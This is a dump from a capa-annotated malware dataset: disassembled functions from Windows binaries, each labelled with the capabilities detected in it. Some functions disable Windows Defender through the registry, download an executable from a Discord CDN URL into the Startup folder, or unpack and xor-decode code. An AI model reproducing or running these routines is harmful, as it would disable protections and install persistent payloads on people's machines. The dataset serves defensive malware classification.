joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5717d4
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x5193a8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push edi
mov eax, dword [0x5624e0]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov edi, ecx
lea ecx, [esp + 0xc]
call int.0057a7e3
mov dword [esp + 0x28], 0
test esi, esi
jne 0x57181a
xor eax, eax
jmp 0x57181d
mov eax, dword [esi + 4]
push eax
call dword [0x51b1ac]
push eax
lea ecx, [esp + 0x10]
call fcn.0057ae18
lea eax, [edi + 0x7c]
test eax, eax
je 0x571838
mov eax, dword [eax + 4]
push eax
mov eax, dword [esp + 0x14]
push eax
call int.0057b17d
mov edx, dword [esp + 0x10]
mov ecx, dword [edi + 0xbc]
push 0xcc0020
push 0
push 0
push edx
mov ebx, eax
mov eax, dword [edi + 0xc0]
push eax
mov eax, dword [esi + 4]
push ecx
push 0
push 0
push eax
call dword [0x51b194]
test ebx, ebx
je 0x571876
mov ebx, dword [ebx + 4]
mov ecx, dword [esp + 0x10]
push ebx
push ecx
call int.0057b17d
mov edx, dword [esi]
mov edx, dword [edx + 0x28]
lea eax, [edi + 0x84]
push eax
mov ecx, esi
call edx
push 1
mov ecx, esi
call fcn.0057a4fd
mov ecx, dword [edi + 0xb8]
mov eax, dword [esi]
mov edx, dword [eax + 0x30]
push ecx
mov ecx, esi
call edx
mov ecx, dword [edi + 0xb4]
mov eax, dword [edi + 0xa0]
mov edx, dword [esi]
mov edx, dword [edx + 0x68]
push ecx
lea ecx, [edi + 0xa4]
push ecx
push 0xffffffffffffffff
push eax
mov ecx, esi
call edx
mov eax, dword [esi]
mov edx, dword [eax + 0x28]
lea ecx, [edi + 0x8c]
push ecx
mov ecx, esi
call edx
mov ecx, dword [edi + 0xe4]
mov eax, dword [esi]
mov edx, dword [eax + 0x30]
push ecx
mov ecx, esi
call edx
mov ecx, dword [edi + 0xe0]
mov eax, dword [edi + 0xcc]
mov edx, dword [esi]
mov edx, dword [edx + 0x68]
push ecx
add edi, 0xd0
push edi
push 0xffffffffffffffff
push eax
mov ecx, esi
call edx
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call int.0057ae99
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x57c5c5
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x97
or byte [edi + 0x17cbf7e7], dh
test ebx, 0xe2f73a17
bound ebp, qword [edx + edi + 0x4c]
cld
pop ecx
cmp dh, bh
loop 0x57c586
insb byte es:[edi], dx
cmp cl, byte [esp + edi*8 + 0x59]
pop edx
mov byte [0x4e717a29], al
sub dword [edx + 0x71], edi
dec esi
div dword [ecx]
lcall 0xd554, 0x3ab2756e
std
push ebp
clc
inc esp
add al, 0x37
jae 0x57c5bb
sbb dword [edx - 0xd], ebp
loop 0x57c518
std
xor eax, 0x1fb33bbe
in al, 0xcb
mov ecx, 0x1948179
inc esp
inc edx
lds edx, [ebx + 0x1a8c3cfa]
sbb dword [esi - 0x69], 0x562727aa
daa
daa
push esi
mov esi, 0xff0bca4a
xor al, 0x87
pop esp
not byte [esi - 0x30]
jle 0x57c55e
shl dword [ecx + 0x41d9f772], 0xba
mov ecx, dword [ebx + 0x24d1dfbf]
or esi, dword [edx + 0x7e]
mov edi, dword [ebp + 0x10]
xor eax, 0xba2a57d7
aad 0xc4
pop edi
fidivr word [ebx]
fisub word [ebx + ebp - 0x1b]
sub esp, ebp
sub esp, ebp
jg 0x57c52b
lodsb al, byte ss:[esi]
jge 0x57c51d
xchg edi, eax
leave
xor edx, esi
jb 0x57c520
out dx, al
mov dl, 0x56
int1
and eax, 0xe004bce8
out dx, al
xor al, 0x4a
cdq
mov dl, 0xc7
sbb eax, 0x7b440e51
leave
cmpsb byte [esi], byte es:[edi]
invalid
inc ebp
les ecx, [eax + 0x50]
cdq
aas
adc cl, byte [0x252b9464]
sub esp, dword [0xcebb230]
sub byte [esi - 0x76], dh
mov eax, 0xa4494a90
adc dword [ebp + 0x5545ab18], eax
push ss
push edi
je 0x57c608
and edi, dword [ecx]
dec ecx
mov eax, 0xe3bcc511
sub eax, 0x590a0fed
jle 0x57c667
ret 0x2476
inc edi
mov edx, 0x9d56cd26
push esi
popfd
sbb al, al
stc
retf 0xfb04
fbstp tbyte [edx - 0x1c]
sbb byte [0xb89b52da], al
adc al, 0xa8
cdq
xor byte [esi], dl
cwde
std
in eax, dx
inc eax
fdiv st(7), st(0)
xor byte [edx + 0x12], cl
call 0x8cd25282
sub al, byte [edx]
fidiv dword [eax + 0x43]
jnp 0x57c629
xor al, 0x6a
jbe 0x57c5d9
jle 0x57c64e
pop edx
pop ebx
jo 0x57c604
bound esi, qword [esi - 8]
not byte [edx + 0x8293cd6]
sbb al, byte [esi - 0x7d19b0fa]
cmp al, 0x29
or byte [edx], bl
xchg byte [esi], al
dec edi
out 0x82, al
push edx
scasb al, byte es:[edi]
retf 0x406f
xchg edi, eax
je 0x57c61a
push esp
adc al, 0x66
jp 0x57c6dc
clc
jmp 0x57c6f1
stc
stosd dword es:[edi], eax
jp 0x57c731
stosd dword es:[edi], eax
pop edx
sub ecx, ebp
cmp byte [esi + 0x252a0b9f], al
stc
xchg byte [edi - 0x6dad5f5], bl
invalid
ffree st(5)
cmp byte [ebx + ebx*4], 0xe0
xor edx, dword [esi - 0x1d]
pop edx
jbe 0x57c76d
fldcw word [edx]
inc eax
ret 0xe4f
xchg esp, eax
je 0x57c78f
jae 0x57c6e5
xor edx, esi
pop dx
or esp, dword [edi - 0x149c4522]
mov bl, 0x67
fbld tbyte [eax]
adc eax, 0xf4051eb
and byte [0xf4051eb], dl
test dword [edi - 0x58], ecx
sti
sub ah, dl
out dx, eax
ljmp 0xcf46
xchg dword [edx - 0x37], ebx
cwde
bound edx, qword [edx - 0x55d4479f]
ret 0x3841
in al, dx
jbe 0x57c744
xchg esp, eax
dec edx
hlt
Function at 0x58a901
Capabilities:
Encode data using xor

Disassembly:
adc ch, ch
mov eax, dword [0xa69a0ed2]
lodsd eax, dword [esi]
lodsb al, byte [esi]
enter 0x6bfd, 0x7b
mov ecx, 0x8207a6da
sub ebx, dword [ecx]
mov edx, 0xd315feea
call 0x9c9a461
test byte [0x44370771], 0x1b
or esp, edx
xor edx, edi
mov edx, 0x95c09bda
jo 0x58a90a
stosd dword es:[edi], eax
cmc
call 0xc08ec3ea
dec byte [edx + ecx*4 - 0x5e]
in al, dx
cmc
test eax, 0xfa4952ae
cld
cmp cl, byte [edx + 0x7b]
scasb al, byte es:[edi]
push ss
fstp xword [esi]
test byte [ebx], cl
push ebp
lahf
push esi
cmp edx, dword [edx]
cmp bl, byte [edx + 0x52]
cdq
sub dword [esi], eax
retf 0xf853

Function at 0x5c6ac7
Capabilities:
Encode data using xor

Disassembly:
add byte [ebp + 0x38], 0x30
shl dword [esi + ebp - 0x15], cl
popfd
aam 0x59
mov byte [0xdd97f196], al
rcl dword [edx + 0x67]
mov dword [0xe49193de], eax
ror byte [esi - 0x3e], cl
xor dword [edi], edx
ljmp 0x3eeb
lahf
or eax, 0xe83654e4
add ch, dh
dec ebp
lodsd eax, dword [esi]
jecxz 0x5c6a57
mov ah, 0x65
loop 0x5c6ad0
jecxz 0x5c6a20
enter 0x5b36, 0xffffffffffffffc7
test eax, 0x7d1e7d7b
xor eax, 0x17de3e64
fidiv dword [esp + edx + 0x8b0873a]
mov ch, 0x2f
int 0x46
dec ebp
call 0x7b551b3c
int1
sbb dword [esi], edx
mov dh, 0xcd
fidiv word [ebp + ebx*2 - 0x7b]
jle 0x5c6a46
pop ebx
invalid
fdiv qword [esi]
in eax, 0xa0
mov ah, 0xf2
and dword [eax - 0x5836b8e1], esi
adc al, 0x9d
fidivr dword [edx - 0x5b]
add eax, 0xd6784313
xor eax, 0x9d0465a3
cmp byte [esi], cl
out 0xa, eax
xchg edx, eax
clc
push es
push esi
and edx, dword [edi - 0x1a]
stosb byte es:[edi], al
test byte [ebp + 0x5bae7ed], ah
inc ecx
push esp
adc byte [eax - 0x48], 0x46
adc al, 0x35
jbe 0x5c6b11
out dx, al
idiv byte [0x3bd2fd13]
inc ebx
xchg al, bl
cld
hlt
loope 0x5c6a4c
and cl, 0x55
hlt
sub dword [ebx + 0x27], ebp
cmpsb byte [esi], byte es:[edi]
mov eax, dword [0x3c64269e]
leave
dec eax
orps xmm2, xmmword [esi + esi*8 + 0x17]
xor byte [edi - 0x3a6b1dba], dh
invalid
js 0x5c6b12
inc dword [edi + 0x46]
inc edi
inc esi
or ch, byte [ecx - 0x7b]
popfd
jo 0x5c6b7d
and byte [esi - 0x59644843], al
salc
add al, byte [edx - 0xa]
insb byte es:[edi], dx
push ss
outsb dx, byte [esi]
invalid
rol byte [ebx], 1
cmpsb byte [esi], byte es:[edi]
invalid
test ch, 0xe5
loop 0x5c6b72
ret 0x69b7

Function at 0x6153b5
Capabilities:
Encode data using xor

Disassembly:
cmp eax, 0xd2e142da
pop es
invalid
jg 0x615339
jmp 0x615389

Function at 0x62cb4d
Capabilities:
Encode data using xor

Disassembly:
push 0xc9d49ae8
nop
sbb edx, dword [edx]
cwde
ret 0x505c
mov bh, 0xd8
mov eax, ss
ror dword [ecx - 0x72], 0x9f
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
jg 0x62caf4
xchg edx, eax
sbb edi, edx
and bh, byte [edx]
or dword [ecx + 0x3a6162a6], edx
cwde
adc dword [eax + eax*4 - 0x74], esp
xor esp, esp
or dword ds:[0xc7d82d07], eax
push ebx
xchg dword [ebx], ecx
test byte [edi + 0x58f5f5a5], ah
mov al, byte [0xe5912e09]
mov esp, 0x4f9f6cac
pushal
or dword [ebp + 0x24], ebp
cmp al, 0x70
or bh, byte [ecx + 0x283062ac]
insd dword es:[edi], dx
enter 0xffffffffffffd5c0, 0xffffffffffffffa9
or dword [ebp - 2], edi
xor al, 0xd3
aam 0x9d
dec ecx
add dword [ecx - 0x37], edx
jl 0x62cb5a
invalid
Function at 0x10001150
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x10005004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 1
push eax
push 0
push 2
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_DefenderPolicy_Manager
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x100011ac
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.DisableAntiSpyware
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100017d4
mov esp, ebp
pop ebp
ret

Function at 0x100011c0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.100025a0
mov eax, dword [0x10005004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 0
push 0
push 1
push str.DownloadFile
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
je 0x100012d3
push esi
push 0
push 0
push 0
push 0
push str.https:__cdn.discordapp.com_attachments_1185540694643834891_1187104227114352763_Spoofer.exe
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
jne 0x10001227
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100017d4
mov esp, ebp
pop ebp
ret
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartUp_.exe
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100012c5
lea eax, [ebp - 0x1008]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x100012be
nop word [eax + eax]
mov eax, dword [ebp - 0x1008]
test eax, eax
je 0x100012be
push 0
lea ecx, [ebp - 0x100c]
push ecx
push eax
lea eax, [ebp - 0x1004]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x100c]
cmp eax, dword [ebp - 0x1008]
jne 0x100012be
lea eax, [ebp - 0x1008]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10001270
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.100017d4
mov esp, ebp
pop ebp
ret
Function at 0x10001610
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000265d
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x10005004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 4
call fcn.100017e2
mov dword [ebp - 0x14], eax
mov dword [eax], 0x100012f0
lea edi, [esi + 4]
mov dword [ebp - 4], 0
push edi
push 0
push eax
push 0x10001780
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x1c
mov dword [esi], eax
test eax, eax
je 0x10001691
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100017d4
mov esp, ebp
pop ebp
ret 4
push 6
mov dword [edi], 0
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x197a268
Capabilities:
Decompress data using aplib

Disassembly:
call 0x197a3b8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x197a28e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x197a27a
add dl, dl
jne 0x197a299
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x197a2ec
xor eax, eax
add dl, dl
jne 0x197a2a6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x197a38d
add dl, dl
jne 0x197a2b5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x197a2c0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x197a2cb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x197a2d6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x197a2e2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x197a285
mov eax, 1
add dl, dl
jne 0x197a2fa
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x197a305
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x197a2f1
sub eax, ebx
mov ebx, 1
jne 0x197a338
mov ecx, 1
add dl, dl
jne 0x197a31e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x197a329
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x197a315
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x197a285
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x197a34f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x197a35a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x197a346
cmp eax, 0x7d00
jae 0x197a37d
cmp eax, 0x500
jb 0x197a378
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x197a285
cmp eax, 0x7f
ja 0x197a380
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x197a285
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x197a3ae
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x197a285
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3d86171e
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x13a74b42
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4320c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x407730
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.XdylwLzm
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407752
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407759
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407748
mov eax, 1
add ebx, ebx
jne 0x40776b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407760
jne 0x40777c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407760
xor ecx, ecx
sub eax, 3
jb 0x407790
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x407802
mov ebp, eax
add ebx, ebx
jne 0x40779b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4077a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4077cc
inc ecx
add ebx, ebx
jne 0x4077b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4077ad
jne 0x4077c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4077ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4077ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4077dd
jmp 0x40774e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4077ec
add edi, ecx
jmp 0x40774e
pop esi
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x40784b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7064]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x407809
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x706c]
or eax, eax
je 0x407845
mov dword [ebx], eax
add ebx, 4
jmp 0x407826
call dword [esi + 0x7068]
mov ebp, dword [esi + 0x7070]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40787f
sub esp, 0xffffff80
jmp section.rUGnmMhn

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x427c10
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4c130b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004b338d
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x427c92
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004b07ad
mov eax, dword [eax]
push 0x5ff254
push eax
call fcn.004a2404
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004b3618
test bl, bl
je 0x427c92
push 0x5ff254
lea ecx, [esp + 0xc]
call fcn.004b39f4
push 0x602df0
lea ecx, [esp + 0xc]
call fcn.004b39f4
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x427cce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004b3618
jmp 0x427d99
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x427d52
lea edx, [esp + 0x7c]
push 0x602dec
push edx
call fcn.004a2404
add esp, 8
test eax, eax
je 0x427d52
lea eax, [esp + 0x7c]
push 0x602de8
push eax
call fcn.004a2404
add esp, 8
test eax, eax
je 0x427d52
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x427ce2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004b3618
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x428590
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4285f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x428600
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4c138b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x6147f8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x428738
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x428666
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004b3618
xor eax, eax
jmp 0x4287af
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004b37a1
push esi
lea ecx, [esp + 0xc]
call fcn.004b3a30
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x602e28
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42878d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00428590
test eax, eax
jne 0x42878d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00428590
test eax, eax
jne 0x42878d
lea eax, [esp + 0x14]
push 0x602e04
push eax
call fcn.004a3520
mov esi, eax
add esp, 8
test esi, esi
jne 0x42876c
lea ecx, [esp + 0x14]
push 0x602e00
push ecx
call fcn.004a34a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x42876c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42876f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004b3751
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42867e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004b3618
xor eax, eax
jmp 0x4287af
mov byte [esi], 0
push 0x602dfc
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004b3618
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4